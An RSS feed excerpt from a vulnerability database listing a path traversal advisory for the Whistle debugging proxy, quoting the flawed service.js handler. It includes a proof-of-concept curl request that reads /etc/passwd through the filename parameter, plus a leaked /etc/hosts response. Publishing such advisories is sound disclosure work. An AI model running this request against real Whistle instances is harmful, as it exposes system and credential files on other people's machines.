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    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
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      <title>CVE-2026-55629 — Whistle: Path traversal</title>
      <link>https://db.gcve.eu/vuln/cve-2026-55629</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; avwo whistle&lt;/p&gt;
&lt;p&gt;Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; avwo whistle&lt;/p&gt;
&lt;p&gt;Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/cve-2026-55629</guid>
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    <item>
      <title>GHSA-3vfr-4gwf-qxfp — Whistle vulnerable to path traversal</title>
      <link>https://db.gcve.eu/vuln/ghsa-3vfr-4gwf-qxfp</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: whistle&lt;/p&gt;
&lt;p&gt;This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.&lt;/p&gt;
&lt;p&gt;**Vulnerability detail**:&lt;/p&gt;
&lt;p&gt;In service.js, inside 
`app.get(&amp;#39;/cgi-bin/temp/get&amp;#39;, ...):
var filename = req.query.filename;
if (TEMP_FILE_RE.test(filename)) {
  filename = path.join(TEMP_FILES_PATH, filename);
}
getFile(filename, ...);`&lt;/p&gt;
&lt;p&gt;Only when filename matches the temp/&amp;lt;hash&amp;gt; pattern does it get joined to the safe directory TEMP_FILES_PATH.&lt;/p&gt;
&lt;p&gt;If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.&lt;/p&gt;
&lt;p&gt;In other words: if you pass passwd, it will read passwd.&lt;/p&gt;
&lt;p&gt;**POC**:
curl -s &amp;#34;http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd&amp;#34;&lt;/p&gt;
&lt;p&gt;**response**:&lt;/p&gt;
&lt;p&gt;``` sh
xiaoming@192 ~ % curl -s &amp;#34;http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts&amp;#34;
{&amp;#34;ec&amp;#34;:0,&amp;#34;value&amp;#34;:&amp;#34;##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1             localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1  proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modi…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: whistle&lt;/p&gt;
&lt;p&gt;This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.&lt;/p&gt;
&lt;p&gt;**Vulnerability detail**:&lt;/p&gt;
&lt;p&gt;In service.js, inside 
`app.get(&amp;#39;/cgi-bin/temp/get&amp;#39;, ...):
var filename = req.query.filename;
if (TEMP_FILE_RE.test(filename)) {
  filename = path.join(TEMP_FILES_PATH, filename);
}
getFile(filename, ...);`&lt;/p&gt;
&lt;p&gt;Only when filename matches the temp/&amp;lt;hash&amp;gt; pattern does it get joined to the safe directory TEMP_FILES_PATH.&lt;/p&gt;
&lt;p&gt;If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.&lt;/p&gt;
&lt;p&gt;In other words: if you pass passwd, it will read passwd.&lt;/p&gt;
&lt;p&gt;**POC**:
curl -s &amp;#34;http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd&amp;#34;&lt;/p&gt;
&lt;p&gt;**response**:&lt;/p&gt;
&lt;p&gt;``` sh
xiaoming@192 ~ % curl -s &amp;#34;http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts&amp;#34;
{&amp;#34;ec&amp;#34;:0,&amp;#34;value&amp;#34;:&amp;#34;##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1             localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1  proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modi…&lt;/p&gt;</content:encoded>
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